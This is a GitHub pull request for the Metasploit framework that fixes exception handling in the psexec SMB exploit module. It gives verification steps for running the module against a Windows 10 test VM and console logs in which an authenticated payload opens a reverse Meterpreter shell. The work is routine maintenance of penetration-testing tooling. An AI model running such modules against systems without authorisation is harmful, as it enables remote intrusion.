Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

fix Failure scoping (needed for libraries) for psexec #11699

Merged
merged 1 commit into from
Apr 8, 2019

Conversation

busterb
Copy link
Member

@busterb busterb commented Apr 8, 2019

This adds the explicit path to MSF::Exploit::Failure so that we do use the wrong scope when resolving the failure class. Fixes #11627

Verification

  • Start msfconsole
  • use exploit/windows/smb/psexec
  • Configure the module, and start a Windows 10 VM
  • While the VM is booting, run psexec against it over and over.
  • Verify You see various errors that are caught by the exception code, that show real failures due to the VM target not being fully booted yet.
  • Verify we don't see any internal Ruby-related failures
[*] Started reverse TCP handler on 192.168.56.1:4444 
[*] 192.168.56.102:445 - Connecting to the server...
[*] 192.168.56.102:445 - Authenticating to 192.168.56.102:445 as user 'bcook'...
[*] 192.168.56.102:445 - Selecting PowerShell target
[*] 192.168.56.102:445 - Executing the payload...
[-] 192.168.56.102:445 - Unable to remove the service, ERROR_CODE: 1053
[-] 192.168.56.102:445 - Exploit aborted due to failure: unknown: 192.168.56.102:445 - Unable to execute specified command: Expecting SMB2 protocol with command=9, got SMB2 protocol with command=8
[*] Exploit completed, but no session was created.
msf5 exploit(windows/smb/psexec) > run

[*] Started reverse TCP handler on 192.168.56.1:4444 
[*] 192.168.56.102:445 - Connecting to the server...
[*] 192.168.56.102:445 - Authenticating to 192.168.56.102:445 as user 'bcook'...
[*] 192.168.56.102:445 - Selecting PowerShell target
[*] 192.168.56.102:445 - Executing the payload...
[-] 192.168.56.102:445 - Exploit aborted due to failure: unknown: 192.168.56.102:445 - Unable to execute specified command: Not a valid SMB packet
[*] Exploit completed, but no session was created.
msf5 exploit(windows/smb/psexec) > run

[*] Started reverse TCP handler on 192.168.56.1:4444 
[*] 192.168.56.102:445 - Connecting to the server...
[*] 192.168.56.102:445 - Authenticating to 192.168.56.102:445 as user 'bcook'...
[*] 192.168.56.102:445 - Selecting PowerShell target
[*] 192.168.56.102:445 - Executing the payload...
[+] 192.168.56.102:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (179779 bytes) to 192.168.56.102
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.102:58937) at 2019-04-08 10:03:01 -0500

meterpreter >

Copy link
Contributor

@wvu wvu left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

LGTM.

@busterb busterb self-assigned this Apr 8, 2019
@busterb busterb merged commit 0308f80 into rapid7:master Apr 8, 2019
busterb added a commit that referenced this pull request Apr 8, 2019
msjenkins-r7 pushed a commit that referenced this pull request Apr 8, 2019
@busterb
Copy link
Member Author

busterb commented Apr 8, 2019

Release Notes

This fix resolves an issue that caused exceptions to not be handled correctly when there is a failure to use psexec against a target.

@tdoan-r7 tdoan-r7 added the rn-fix release notes fix label Apr 15, 2019
This pull request was closed.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug library rn-fix release notes fix
Projects
None yet
3 participants